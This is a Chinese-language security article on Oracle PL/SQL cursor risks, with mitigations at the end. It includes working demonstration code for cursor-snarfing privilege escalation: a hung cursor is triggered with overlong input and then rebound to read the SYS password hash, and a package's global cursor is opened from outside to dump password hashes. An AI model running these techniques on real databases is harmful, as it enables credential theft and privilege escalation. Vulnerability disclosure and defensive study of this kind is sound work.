duang!危险的oracle游标-尊龙凯时官方旗舰店

duang!危险的oracle游标
作者:思成 发布时间:2016-06-29

1、引言

sql是面向集合的语言,其结果一般是集合量(含多条记录),而pl/sql的变量是标量,一组变量一次只能存放一条记录。很多时候查询结果的记录 数是不确定的,无法提前声明足够的变量。于是引入了游标的概念,游标使得数据库操作更灵活,但同时也给黑客入侵数据库带来了机会。安华金和数据库安全实验 室(dbsec labs)基于游标的应用原理,本文讨论游标可能带来什么安全隐患以及如何应对这些安全隐患。

2.游标的分类

oracle数据库游标是pl/sql执行dql、dml等语句的时候,oracle在内存中为其结果集分配一个缓冲区。游标是指向该区的一个指 针、命名一个工作区或是一种结构化数据类型。它为应用程序提供了一种对结果集中每一行数据单独处理的方法。oracle 游标基本可以分为以下3类:显式游标、隐式游标和动态游标(关系具体看下图)。

原理

游标的核心功能在于,从表中检索出结果集,每次指向一条记录,与客户端或应用程序进行交互,因此游标是设计嵌入式sql语句的应用程序的常用编程方式。随着游标的广泛使用,其本身的安全隐患也变得越来越突出。

3.游标带来的安全隐患

oracle游标给数据库带来的安全隐患主要分为三大类:
 1. 缺乏异常处理,挂起的游标被恶意利用

游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。如果一个高 权限用户建立一个游标却没关闭该游标,低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句,进行高权限运行,达到提权或越权访问 的目的。这就是游标snarf提权的基础。

游标不正常关闭基本是人为造成的,高权限用户忘记关闭,或者游标所在的子程序缺乏异常处理机制。如果没有做相应的异常处理,黑客很有可能制造异常,使游标被一直挂起,利用未关闭的游标,注入恶意代码。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。
 下面试验用例由安华金和数据库安全实验室提供:
 sql> connect / as sysdba
 已连接。
 sql> create or replace procedure schina_test(p_user varchar) is
 2 cursor_name integer;
 3 password varchar2(30);
 4 i integer;
 5 begin
 6 cursor_name := dbms_sql.open_cursor;
 7 dbms_output.put_line('cursor:'||cursor_name);
 8 dbms_sql.parse(cursor_name,'select password from
 9 sys.dba_users where username=:schina',dbms_sql.native);
 10 dbms_sql.bind_variable(cursor_name,:schina',p_user);
 11 dbms_sql.define_column(cursor_name,1,password,30);
 12 i:=dbms_sql.execute(cursor_name);
 13 if password = '01234567890abcdef' then
 14 dbms_output.put_line('your password hash is not ok');
 15 else
 16 dbms_output.put_line('your password hash is ok');
 17 end if;
 18 dbms_sql.close_cursor(cursor_name);
 19 end;
 20 /
 pl/sql 过程已成功完成。
 sql> grant execute on schina_test to public;
 授权成功。

schina_test 是一个缺乏异常处理代码的存储过程,它的作用是对给定用户找到其密码hash值,然后和固定hash值进行比较并返回结果。open_cursor打开游 标直到close_cursor或sql会话终止游标退出。由于缺乏异常代码机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标。
 sql> connect scott/tiger
 已连接。
 sql> set serveroutput on
 sql> declare
 2 x varchar(40000);
 3 i integer;
 4 begin
 5 fro i in 1..10000 loop
 6 x:='b'||x;
 7 end loop;
 8 sys. schina_test (x);
 9 end;
 10 /

cursor 3241423

通过向p_user中输入一个过长的x,系统返回ora-01460错误。由于存储过程schina_test中没有对异常进行处理,虽然存储过程中关闭游标了,但由于发生异常,导致游标被挂起,同时并未真正关闭。可以对未关闭的游标注入恶意语句,以达到所需要的效果。

2. oracle游标漏洞提权

游标提权漏洞就是在上面的基础上利用被挂起的游标,通过类似dbms_sql这种由系统定义的包,把游标语句和高权限用户进行绑定。接着上面的例子通过dbms_sql绑定sys,用户直接获取sys的密码hash。
 sql> declare
 2 cursor_name integer;
 3 i integer;
 4 pwd varchar2(30);
 5 begin
 6 cursor_name:=3241423;
 7 dbms_sql.bind_variable(cursor_name,':schina','sys');
 8 dbms_sql.define_column(cursor_name,1,pwd,30);
 9 i:=dbms_sql.execute(cursor_name);
 10 if dbms_sql.fetch_rows(cursor_name)>0 then
 11 dbms_sql.column_value(cursor_name,1,pwd);
 12 end if;
 13 dbms_sql.close_cursor(cursor_name);
 14 dbms_output.put_line ('pwd:'||pwd);
 15 end;
 16 /

上述代码是在获取游标值的前提下进行的,因此在代码声明的地方写入游标值3241423。使用dbms_sql中的 bind_variable(cursor_name,':schina',sys)将游标和sys用户绑定。这样执行查询sys用户。后台数据库真正运 行的语句是:select password from sys.dba_users where username='sys'。dbms_sql.define_column函数的作用是将游标中第一列的值返回给pwd变量。黑客在执行完上述匿名块 后,系统结果返回sys密码的hash散列,使用hash逆向工具进行转换就可以获得sys密码明文,直接夺取数据库最高权限。

3. oracle游标设计本身的安全隐患

其实通过游标获取高权限账号的密码完全不用这么麻烦,oracle在游标设计上本身就有安全问题。用高权限用户写一个包,这个包中放入一个游标,功 能和前面用的schina_test是一致的。用来取回需要检查账号的hash。然后和我们给出的一组预设hash做对比。低权限用户如果知道这个游标可 以直接在包外调用该游标,从而获取游标中的内容。包内游标可以在包外被调用,这是oracle游标本身设计上的安全缺陷。
 sql> connect / as sysdba
 已连接。

sql> create or replace package schina as
 2 cursor x (username in varchar2) is select password from sys.user$
 3 where name=username;
 4 procedure check_password;
 5 end;
 6 /

程序包已创建。

sql> create or replace package body schina as
 2 procedure check_password is
 3 password varchar2(200);
 4 begin
 5 open x (user());
 6 fetch x into password;
 7 close x;
 8 if password = '01234567890abcdef' then
 9 dbms_output.put_line('your password hash is not ok');
 10 else
 11 dbms_output.put_line('your password hash is ok');
 12 end if;
 13 end check_password;
 14 end;
 15 /

程序包体已创建。

sql> show errors
 没有错误。
 sql> grant execute on sys.schina to public;

授权成功。

通过show errors检验发现整个过程没有x游标挂起的问题。x游标正常关闭了,到现在为止操作一切正常切换到低权限账号
 sql> connect scott/tiger
 已连接。
 sql> set serveroutput on
 sql> exec sys.schina.check_password;
 your password hash is ok

执行包返回的结果很安全,不会显示出游标内存储的内容,但如果通过一个匿名块,在包外使用游标的结果就变得不安全了,低权限用户可以轻易使用高权限用户设置的游标。通过游标直接可以获取到游标中存储的结果集。
 sql> declare password varchar2(200);
 2 begin open sys. schina.x ('sys');
 3 fetch sys. schina.x into password;
 4 close sys. schina.x;
 5 dbms_output.put_line('the sys password is '|| password);
 6 end;
 7 /
 the sys password is cf10653f66a74ac2

任何权限账号的密码通过这种方式都会被低权限用户直接获取hash值,然后通过hash逆向工具,获取全部账号的密码。

4.解决办法

根据上一节游标的安全隐患,我们摸清了游标安全隐患的成因。本章讲叙述如何防范这些安全隐患。

4.1防游标被恶意挂起

1)单纯的规范输入验证过程,绑定变量已经不能满足游标日益严峻的安全隐患威胁。应当对用户可输入参数的变量的长度做更严格的限制,来防止触发异 常。最基本办法是按照用户输入参数的正常值的长度来进行限制,在用户输入参数后,先对参数进行长度校验。如果超过默认长度,直接抛弃该次输入,这样可以在 一定程度上减少异常发生的概率。

2)始终保持子程序中,有专门对付异常的异常处理机制。防止恶意输入,导致游标被挂起。当异常发生的时候,保证会把游标关闭。

4.2防游标漏洞提权

在前面提到的利用游标进行提权的技术核心是利用dbms_sql包中的一些带有varchar参数的函数,尤其是dbms_sql.parse函数是完成游标注入类攻击。攻击者正是通过这个函数完成将恶意代码注入到函数中,并将恶意代码与游标绑定。

于是最直接的想法是通过撤销dbms_sql的public权限来限制低权限用户对dbms_sql的利用。但整个oracle中至少有170个对 象依赖于dbms_sql。如果撤销dbms_sql的公共权限,将会造成很多操作上的麻烦。虽然dbms_sql提供了注入的土壤,但如果我们对ddl 语句加以限制也可以从另一个角度阻止黑客利用dbms_sql对数据库进行恶意攻击。限制ddl语句有3种方式:

1)通过权限进行控制。

2)通过before型的安全触发器进行控制。

3)通过防火墙进行控制。

安华金和数据库安全专家经过很多测试分析发现,当用户量少的时候dba可以对每个用户进行逐个权限设置,但如果用户量大,逐个权限设置既不现实也不 准确。这时推荐采用数据库防火墙和before型的安全触发器。可以在用户执行ddl语句之前触发来返回一个自定义系统错误,告知用户没有执行ddl权 限,这样就可以达到限制用户执行ddl的目的了。但是如果想更精确的限制用户ddl语句,使用数据库防火墙可以比采用触发器更方便和更灵活。

4.3防游标设计缺陷

oracle全局游标设计存在问题,游标可以在被定义的包外打开,低权限用户正常操作,很可能就会获取到高权限才可以看到的敏感信息。如果在可选的 情况下,尽量不使用游标,如果要使用游标,尽量使用局部游标(无法在游标定义包外打开的游标)。最后如果一定要使用全局游标,安华金和数据库安全专家提示 可以通过数据库防火墙或者触发器对调用游标的用户进行检查。如果发现该用户权限低于创建游标的用户,则禁止该游标被用户打开,否则用户可以正常调用该游 标。

4.4建议

游标作为oracle的核心子程序,安全性十分重要。但oracle的游标虽然解决了一些问题,但咱安全性上还有很大问题。安华金和建议 oracle给游标一个参数,作为安全参数。默认打开安全参数,当游标在其被定义的包外打开的时候,对游标进行强制检查,一旦发现打开该游标的用户权限低 于创建游标者的权限,则直接抛出异常,禁止打开该游标。

5.结束语

本文从安全角度来分析oracle游标。从三个不同角度发现oracle游标存在大量的安全隐患。其中有dba失误造成的,也有oracle漏洞引 起的,但最严重的是oracle的全局游标本身设计上的问题。为了保护敏感信息,可以通过权限设置,创建触发器,部署数据库防火墙等多种方法进行防护。但 最重要的还是希望oracle可以对游标设置一个安全参数。对在包外打开的游标的调用者进行资格审核。只有这样才能从机制上解决oracle游标的安全隐 患。


网站地图